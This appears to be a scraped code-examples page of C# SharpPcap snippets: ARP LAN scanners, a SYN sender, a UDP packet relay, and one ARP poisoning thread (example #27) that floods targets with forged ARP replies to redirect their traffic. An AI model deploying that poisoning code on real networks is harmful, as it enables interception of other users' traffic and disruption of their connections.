            IPAddress myipaddress = ((SharpPcap.WinPcap.WinPcapDevice)capturedevice).Addresses[1].Addr.ipAddress; //possible critical point : Addresses[1] in hardcoding the index for obtaining ipv4 address

            #region Sending ARP requests to probe for all possible IP addresses on LAN
            new Thread(() =>
            {
                try
                {
                    for (int ipindex = 1; ipindex <= 255; ipindex++)
                    {
                        ARPPacket arprequestpacket    = new ARPPacket(ARPOperation.Request, PhysicalAddress.Parse("00-00-00-00-00-00"), IPAddress.Parse(GetRootIp(myipaddress) + ipindex), capturedevice.MacAddress, myipaddress);
                        EthernetPacket ethernetpacket = new EthernetPacket(capturedevice.MacAddress, PhysicalAddress.Parse("FF-FF-FF-FF-FF-FF"), EthernetPacketType.Arp);
                        ethernetpacket.PayloadPacket  = arprequestpacket;
                        capturedevice.SendPacket(ethernetpacket);
                    }
                }
                catch (Exception ex)
                {
                    DebugOutputClass.Print(view, "Exception at GetClientList.GetAllClients() inside new Thread(()=>{}) while sending packets probably because old thread was still running while capturedevice was closed due to subsequent refresh [" + ex.Message + "]");
                }
            }).Start();
            #endregion

            #region Retrieving ARP packets floating around and finding out the senders' IP and MACs
            capturedevice.Filter = "arp";
            RawCapture rawcapture   = null;
            long       scanduration = 5000;
            new Thread(() =>
            {
                try
                {
                    Stopwatch stopwatch = new Stopwatch();
                    stopwatch.Start();
                    while ((rawcapture = capturedevice.GetNextPacket()) != null && stopwatch.ElapsedMilliseconds <= scanduration)
                    {
                        Packet packet       = Packet.ParsePacket(rawcapture.LinkLayerType, rawcapture.Data);
                        ARPPacket arppacket = (ARPPacket)packet.Extract(typeof(ARPPacket));
                        if (!clientlist.ContainsKey(arppacket.SenderProtocolAddress) && arppacket.SenderProtocolAddress.ToString() != "0.0.0.0" && areCompatibleIPs(arppacket.SenderProtocolAddress, myipaddress))
                        {
                            clientlist.Add(arppacket.SenderProtocolAddress, arppacket.SenderHardwareAddress);
                            view.ListView1.Invoke(new Action(() =>
                            {
                                view.ListView1.Items.Add(new ListViewItem(new string[] { clientlist.Count.ToString(), arppacket.SenderProtocolAddress.ToString(), GetMACString(arppacket.SenderHardwareAddress), "On", ApplicationSettingsClass.GetSavedClientNameFromMAC(GetMACString(arppacket.SenderHardwareAddress)) }));
                            }));
                            //Debug.Print("{0} @ {1}", arppacket.SenderProtocolAddress, arppacket.SenderHardwareAddress);
                        }
                        int percentageprogress = (int)((float)stopwatch.ElapsedMilliseconds / scanduration * 100);
                        view.MainForm.Invoke(new Action(() => view.ToolStripStatusScan.Text       = "Scanning " + percentageprogress + "%"));
                        view.MainForm.Invoke(new Action(() => view.ToolStripProgressBarScan.Value = percentageprogress));
                        //Debug.Print(packet.ToString() + "\n");
                    }
                    stopwatch.Stop();
                    view.MainForm.Invoke(new Action(() => view.ToolStripStatusScan.Text       = clientlist.Count.ToString() + " device(s) found"));
                    view.MainForm.Invoke(new Action(() => view.ToolStripProgressBarScan.Value = 100));
                    BackgroundScanStart(view, interfacefriendlyname); //start passive monitoring
                }
                catch (PcapException ex)
                {
                    DebugOutputClass.Print(view, "PcapException @ GetClientList.GetAllClients() @ new Thread(()=>{}) while retrieving packets [" + ex.Message + "]");
                    view.MainForm.Invoke(new Action(() => view.ToolStripStatusScan.Text       = "Refresh for scan"));
                    view.MainForm.Invoke(new Action(() => view.ToolStripProgressBarScan.Value = 0));
                }
                catch (Exception ex)
                {
                    DebugOutputClass.Print(view, ex.Message);
                }
            }).Start();
            #endregion
        }
예제 #27
0
        /// <summary>
        ///     毒化线程。
        /// </summary>
        /// <param name="obj">毒化的目标。</param>
        private void PoisonThread(object obj)
        {
            // 获取目标
            var host = (Host)obj;

            // 转存目标
            var targets = _target1.Contains(host) ? _target2.AsReadOnly() : _target1.AsReadOnly();

            // 构建包信息
            var ether = new EthernetPacket(_device.MacAddress,
                                           host.PhysicalAddress,
                                           EthernetPacketType.Arp);
            var arp = new ARPPacket(ARPOperation.Response,
                                    host.PhysicalAddress,
                                    host.IPAddress,
                                    _device.MacAddress,
                                    new IPAddress(new byte[] { 0, 0, 0, 0 }))
            {
                HardwareAddressType = LinkLayers.Ethernet,
                ProtocolAddressType = EthernetPacketType.IPv4
            };

            ether.PayloadPacket = arp;
            arp.ParentPacket    = ether;

            try {
                // 强毒化
                for (var i = 0; i < 20; i++)
                {
                    foreach (var target in targets)
                    {
                        arp.SenderProtocolAddress = target.IPAddress;
                        arp.UpdateCalculatedValues();
                        _device.SendPacket(ether);
                    }
                    Thread.Sleep(500);
                }

                // 弱毒化
                while (true)
                {
                    foreach (var target in targets)
                    {
                        arp.SenderProtocolAddress = target.IPAddress;
                        arp.UpdateCalculatedValues();
                        _device.SendPacket(ether);
                    }
                    Thread.Sleep(5 * 1000);
                }
            }
            catch (ThreadAbortException) {
                // 还原ARP
                foreach (var target in targets)
                {
                    ether.SourceHwAddress     = target.PhysicalAddress;
                    arp.SenderProtocolAddress = target.IPAddress;
                    arp.SenderHardwareAddress = target.PhysicalAddress;
                    arp.UpdateCalculatedValues();
                    for (var i = 0; i < 5; i++)
                    {
                        _device.SendPacket(ether);
                    }
                }
            }
        }
예제 #28
0
파일: Form1.cs 프로젝트: andreidana/NETOld
        private int SendSynPacket(TcpPacket tcp)
        {
            tcp.SequenceNumber = 0;       //A TCP Sync Packet will always have a destination address of 0
            tcp.CWR = false;
            tcp.ECN = false;
            tcp.Urg = false;
            tcp.Ack = false;
            tcp.Psh = false;
            tcp.Rst = false;
            tcp.Syn = true;
            tcp.Fin = false;

            device = devices[1];

            device.Open(DeviceMode.Promiscuous, 20);

            device.SendPacket(tcp);

            device.OnPacketArrival += new SharpPcap.PacketArrivalEventHandler(device_OnPacketArrival);
            //device.StartCapture();

            RawCapture nexttcp = device.GetNextPacket();

            //device.StopCapture();

            if (nexttcp != null)
            {
                var packet = PacketDotNet.Packet.ParsePacket(nexttcp.LinkLayerType, nexttcp.Data);

                TcpPacket tcp1 = TcpPacket.GetEncapsulated(packet);

                if ((tcp1 != null) && (tcp1.Syn == true) && (tcp1.Ack == true))
                {
                    return 1;
                }
                else
                {
                    return 0;
                }
            }
            else
            {
                return 0;
            }
            device.Close();
        }
예제 #29
0
 public void SendARPRequest(IPAddress senderIP, PhysicalAddress senderMAC, IPAddress targetIP, int vlanID)
 {
     _ncard.SendPacket(ArpPacketBuilder.BuildArpRequest(_probeMAC, NetAddress.BroadcastMAC, senderIP, targetIP, senderMAC, NetAddress.ZeroMAC, vlanID));
 }
예제 #30
0
 public void SendPacket(EthernetPacket packet)
 {
     _pcapDevice.SendPacket(packet);
 }
예제 #31
0
        /// <summary>
        /// Implements the comm manager thread.
        /// </summary>
        private void CommManagerThread()
        {
            byte[] rxBuf = new byte[65535];
            byte[] buf   = null;

            EndPoint endPoint = new IPEndPoint(IPAddress.Any, 0);

            socket.SetSocketOption(SocketOptionLevel.IP, SocketOptionName.ReuseAddress, true);
            socket.Bind(new IPEndPoint(IPAddress.Any, port));

            try
            {
                // implement main work loop
                while (runThread)
                {
                    try
                    {
                        int len = socket.ReceiveFrom(rxBuf, ref endPoint);
                        if (len > 0)
                        {
                            buf = new byte[len];
                            Buffer.BlockCopy(rxBuf, 0, buf, 0, buf.Length);
                        }
                        else
                        {
                            buf = null;
                        }

                        if (buf != null)
                        {
                            Util.TraceHex("buf", buf, buf.Length);

                            // read PDU data from stream
                            ProtocolDataUnit pdu = ProtocolDataUnit.ReadFrom(buf);
                            if (pdu != null && Program.foreground && Program.debug)
                            {
                                Console.WriteLine("[SNIP .. Packet Rx from Client]");
                                Util.TraceHex("hdr", pdu.HeaderData, pdu.HeaderData.Length);
                                if (pdu.ContentData != null)
                                {
                                    Util.TraceHex("packet", pdu.ContentData, pdu.ContentData.Length);
                                    Console.WriteLine("packet length " + pdu.ContentData.Length);
                                }
                                Console.WriteLine("hdr->checksum = " + pdu.Header.CheckSum.ToString("X"));
                                Console.WriteLine("hdr->length = " + pdu.Header.Length.ToString());
                                Console.WriteLine("hdr->macAddr = " +
                                                  pdu.Header.MacAddr[0].ToString("X") + ":" +
                                                  pdu.Header.MacAddr[1].ToString("X") + ":" +
                                                  pdu.Header.MacAddr[2].ToString("X") + ":" +
                                                  pdu.Header.MacAddr[3].ToString("X") + ":" +
                                                  pdu.Header.MacAddr[4].ToString("X") + ":" +
                                                  pdu.Header.MacAddr[5].ToString("X"));
                                Console.WriteLine("hdr->dataLength = " + pdu.Header.DataLength);
                                Console.WriteLine("hdr->compressLength = " + pdu.Header.CompressedLength);
                                Console.WriteLine("[SNIP .. Packet Rx from Client]");
                            }

                            // did we receive a pdu?
                            if (pdu != null)
                            {
                                // are we trying to shut down the session?
                                if ((pdu.Header.CheckSum == 0xFA) && (pdu.Header.DataLength == 0))
                                {
                                    if (Program.foreground)
                                    {
                                        Console.WriteLine("disconnecting session macAddr = " +
                                                          pdu.Header.MacAddr[0].ToString("X") + ":" +
                                                          pdu.Header.MacAddr[1].ToString("X") + ":" +
                                                          pdu.Header.MacAddr[2].ToString("X") + ":" +
                                                          pdu.Header.MacAddr[3].ToString("X") + ":" +
                                                          pdu.Header.MacAddr[4].ToString("X") + ":" +
                                                          pdu.Header.MacAddr[5].ToString("X"));
                                    }

                                    PhysicalAddress addr = new PhysicalAddress(pdu.Header.MacAddr);
                                    if (this.endPoints.ContainsKey(addr))
                                    {
                                        this.endPoints.Remove(addr);
                                    }
                                    return;
                                }

                                // are we trying to register a client?
                                if ((pdu.Header.CheckSum == 0xFF) && (pdu.Header.DataLength == 0))
                                {
                                    HandshakeHeader header = new HandshakeHeader();
                                    header.CheckSum         = 0xFF;
                                    header.DataLength       = 0;
                                    header.CompressedLength = 0;
                                    header.Length           = (ushort)header.Size;
                                    header.MacAddr          = pdu.Header.MacAddr;

                                    if (Program.foreground)
                                    {
                                        Console.WriteLine("new session macAddr = " +
                                                          header.MacAddr[0].ToString("X") + ":" +
                                                          header.MacAddr[1].ToString("X") + ":" +
                                                          header.MacAddr[2].ToString("X") + ":" +
                                                          header.MacAddr[3].ToString("X") + ":" +
                                                          header.MacAddr[4].ToString("X") + ":" +
                                                          header.MacAddr[5].ToString("X"));
                                    }

                                    // build final payload
                                    byte[] buffer = new byte[Util.RoundUp(header.Size, 4)];
                                    header.WriteTo(buffer, 0);

                                    PhysicalAddress addr = new PhysicalAddress(header.MacAddr);

                                    if (!this.endPoints.ContainsKey(addr))
                                    {
                                        this.endPoints.Add(addr, (IPEndPoint)endPoint);
                                    }
                                    else
                                    {
                                        Console.WriteLine("macAddr already exists?");
                                    }
                                    socket.SendTo(buffer, endPoint);
                                }
                                else
                                {
                                    if (!Program.privateNetwork)
                                    {
                                        // otherwise handle actual packet data
                                        Packet packet = Packet.ParsePacket(LinkLayers.Ethernet, pdu.ContentData);
                                        capDevice.SendPacket(packet);
                                    }
                                    else
                                    {
                                        foreach (KeyValuePair <PhysicalAddress, IPEndPoint> kvp in endPoints)
                                        {
                                            // is this our mac?
                                            if (kvp.Key.GetAddressBytes() == pdu.Header.MacAddr)
                                            {
                                                continue;
                                            }

                                            SendPacket(kvp.Key, kvp.Value, pdu.ContentData);
                                        }
                                    }
                                }
                            }
                        }
                    }
                    catch (Exception)
                    {
                        // do nothing
                    }
                } // while (runThread)
            }
            catch (ThreadAbortException)
            {
                Console.WriteLine("comm manager thread commanded to abort!");
                runThread = false;
            }
            catch (Exception e)
            {
                Util.StackTrace(e, false);
                runThread = false; // terminate thread
            }
        }
예제 #32
0
        public static void GetAllClients(IView view, string interfacefriendlyname)
        {
            #region initialization
            if (capturedevice != null)
            {
                try
                {
                    capturedevice.StopCapture(); //stop previous capture
                    capturedevice.Close();       //close previous instances
                    StopFlag      = true;
                    GatewayCalled = false;
                    capturedevice.OnPacketArrival += null;
                    Main.checkboxcanbeclicked      = false;
                    StopTheLoadingBar(view);
                }
                catch (PcapException)
                {
                }
            }
            clientlist = new Dictionary <IPAddress, PhysicalAddress>();

            #endregion

            CaptureDeviceList capturedevicelist = CaptureDeviceList.Instance;
            capturedevicelist.Refresh();                      //crucial for reflection of any network changes
            capturedevice = (from devicex in capturedevicelist where ((SharpPcap.WinPcap.WinPcapDevice)devicex).Interface.FriendlyName == interfacefriendlyname select devicex).ToList()[0];
            capturedevice.Open(DeviceMode.Promiscuous, 1000); //open device with 1000ms timeout
            capturedevice.Filter = "arp";
            IPAddress myipaddress = IPAddress.Parse(NetStalker.Properties.Settings.Default.localip);

            Size = NetStalker.Properties.Settings.Default.NetSize;
            var Root = GetRoot(myipaddress, Size);
            if (string.IsNullOrEmpty(Root))
            {
                try
                {
                    view.MainForm.Invoke(new Action(() => view.StatusLabel.Text = "Network Error"));
                    return;
                }
                catch (Exception)
                {
                }
            }

            #region Sending ARP requests to probe for all possible IP addresses on LAN
            new Thread(() =>
            {
                try
                {
                    if (Size == 1)
                    {
                        for (int ipindex = 1; ipindex <= 255; ipindex++)
                        {
                            ARPPacket arprequestpacket    = new ARPPacket(ARPOperation.Request, PhysicalAddress.Parse("00-00-00-00-00-00"), IPAddress.Parse(Root + ipindex), capturedevice.MacAddress, myipaddress);
                            EthernetPacket ethernetpacket = new EthernetPacket(capturedevice.MacAddress, PhysicalAddress.Parse("FF-FF-FF-FF-FF-FF"), EthernetPacketType.Arp);
                            ethernetpacket.PayloadPacket  = arprequestpacket;
                            capturedevice.SendPacket(ethernetpacket);
                        }
                    }

                    else if (Size == 2)
                    {
                        for (int i = 1; i <= 255; i++)
                        {
                            for (int j = 1; j <= 255; j++)
                            {
                                ARPPacket arprequestpacket    = new ARPPacket(ARPOperation.Request, PhysicalAddress.Parse("00-00-00-00-00-00"), IPAddress.Parse(Root + i + '.' + j), capturedevice.MacAddress, myipaddress);
                                EthernetPacket ethernetpacket = new EthernetPacket(capturedevice.MacAddress, PhysicalAddress.Parse("FF-FF-FF-FF-FF-FF"), EthernetPacketType.Arp);
                                ethernetpacket.PayloadPacket  = arprequestpacket;
                                capturedevice.SendPacket(ethernetpacket);
                                if (!GatewayCalled)
                                {
                                    ARPPacket ArpForGateway        = new ARPPacket(ARPOperation.Request, PhysicalAddress.Parse("00-00-00-00-00-00"), GatewayIP, capturedevice.MacAddress, myipaddress);//???
                                    EthernetPacket EtherForGateway = new EthernetPacket(capturedevice.MacAddress, PhysicalAddress.Parse("FF-FF-FF-FF-FF-FF"), EthernetPacketType.Arp);
                                    EtherForGateway.PayloadPacket  = ArpForGateway;
                                    capturedevice.SendPacket(EtherForGateway);
                                    GatewayCalled = true;
                                }
                            }
                        }
                    }

                    else if (Size == 3)
                    {
                        if (MetroMessageBox.Show(view.MainForm,
                                                 "The network you're scanning is very large, it will take approximately 20 hours before the scanner can find all the devices, proceed?",
                                                 "Warning", MessageBoxButtons.YesNo, MessageBoxIcon.Warning) == DialogResult.Yes)
                        {
                            for (int i = 1; i <= 255; i++)
                            {
                                for (int j = 1; j <= 255; j++)
                                {
                                    for (int k = 1; k <= 255; k++)
                                    {
                                        ARPPacket arprequestpacket = new ARPPacket(ARPOperation.Request,
                                                                                   PhysicalAddress.Parse("00-00-00-00-00-00"),
                                                                                   IPAddress.Parse(Root + i + '.' + j + '.' + k), capturedevice.MacAddress,
                                                                                   myipaddress);
                                        EthernetPacket ethernetpacket = new EthernetPacket(capturedevice.MacAddress,
                                                                                           PhysicalAddress.Parse("FF-FF-FF-FF-FF-FF"), EthernetPacketType.Arp);
                                        ethernetpacket.PayloadPacket = arprequestpacket;
                                        capturedevice.SendPacket(ethernetpacket);
                                        if (!GatewayCalled)
                                        {
                                            ARPPacket ArpForGateway        = new ARPPacket(ARPOperation.Request, PhysicalAddress.Parse("00-00-00-00-00-00"), GatewayIP, capturedevice.MacAddress, myipaddress); //???
                                            EthernetPacket EtherForGateway = new EthernetPacket(capturedevice.MacAddress, PhysicalAddress.Parse("FF-FF-FF-FF-FF-FF"), EthernetPacketType.Arp);                  //???
                                            EtherForGateway.PayloadPacket  = ArpForGateway;
                                            capturedevice.SendPacket(EtherForGateway);
                                            GatewayCalled = true;
                                        }
                                    }
                                }
                            }
                        }
                        else
                        {
                            return;
                        }
                    }
                }
                catch (Exception)
                {
                }
            }).Start();
            #endregion

            #region Retrieving ARP packets floating around and finding out the senders' IP and MACs
            capturedevice.Filter = "arp";
            RawCapture rawcapture   = null;
            long       scanduration = 8000;
            new Thread(() =>
            {
                try
                {
                    Stopwatch stopwatch = new Stopwatch();
                    stopwatch.Start();
                    while ((rawcapture = capturedevice.GetNextPacket()) != null && stopwatch.ElapsedMilliseconds <= scanduration)
                    {
                        Packet packet       = Packet.ParsePacket(rawcapture.LinkLayerType, rawcapture.Data);
                        ARPPacket arppacket = (ARPPacket)packet.Extract(typeof(ARPPacket));
                        if (!clientlist.ContainsKey(arppacket.SenderProtocolAddress) && arppacket.SenderProtocolAddress.ToString() != "0.0.0.0" && areCompatibleIPs(arppacket.SenderProtocolAddress, myipaddress, Size))
                        {
                            clientlist.Add(arppacket.SenderProtocolAddress, arppacket.SenderHardwareAddress);
                            view.ListView1.Invoke(new Action(() =>
                            {
                                string mac = GetMACString(arppacket.SenderHardwareAddress);
                                int id     = clientlist.Count - 1;
                                string ip  = arppacket.SenderProtocolAddress.ToString();
                                var obj    = new Device();
                                new Thread(() =>
                                {
                                    try
                                    {
                                        ipp = ip;

                                        IPHostEntry hostEntry = Dns.GetHostEntry(ip);

                                        view.ListView1.BeginInvoke(new Action(() =>
                                        {
                                            obj.DeviceName = hostEntry.HostName;
                                            view.ListView1.UpdateObject(obj);
                                        }));
                                    }
                                    catch (Exception)
                                    {
                                        try
                                        {
                                            view.ListView1.BeginInvoke(new Action(() =>
                                            {
                                                obj.DeviceName = ip;
                                                view.ListView1.UpdateObject(obj);
                                            }));
                                        }
                                        catch (Exception)
                                        {
                                        }
                                    }
                                }).Start();

                                new Thread(() =>
                                {
                                    try
                                    {
                                        var Name = VendorAPI.GetVendorInfo(mac);
                                        if (Name != null)
                                        {
                                            obj.ManName = Name.data.organization_name;
                                        }
                                        else
                                        {
                                            obj.ManName = "";
                                        }
                                        view.ListView1.UpdateObject(obj);
                                    }
                                    catch (Exception)
                                    {
                                    }
                                }).Start();

                                obj.IP           = arppacket.SenderProtocolAddress;
                                obj.MAC          = PhysicalAddress.Parse(mac.Replace(":", ""));
                                obj.DeviceName   = "Resolving";
                                obj.ManName      = "Getting information...";
                                obj.DeviceStatus = "Online";
                                view.ListView1.AddObject(obj);
                            }));
                        }
                        int percentageprogress = (int)((float)stopwatch.ElapsedMilliseconds / scanduration * 100);

                        view.MainForm.Invoke(new Action(() => view.StatusLabel.Text = "Scanning " + percentageprogress + "%"));
                    }
                    stopwatch.Stop();
                    Main.operationinprogress = false;
                    view.MainForm.Invoke(new Action(() => view.StatusLabel.Text = clientlist.Count.ToString() + " device(s) found"));
                    capturedevice.Close();
                    capturedevice = null;
                    BackgroundScanStart(view, interfacefriendlyname); //start passive monitoring
                }
                catch (Exception)
                {
                    try
                    {
                        view.MainForm.Invoke(new Action(() => view.StatusLabel.Text = "Error occurred"));
                    }
                    catch (Exception)
                    {
                    }
                }
            }).Start();
            #endregion
        }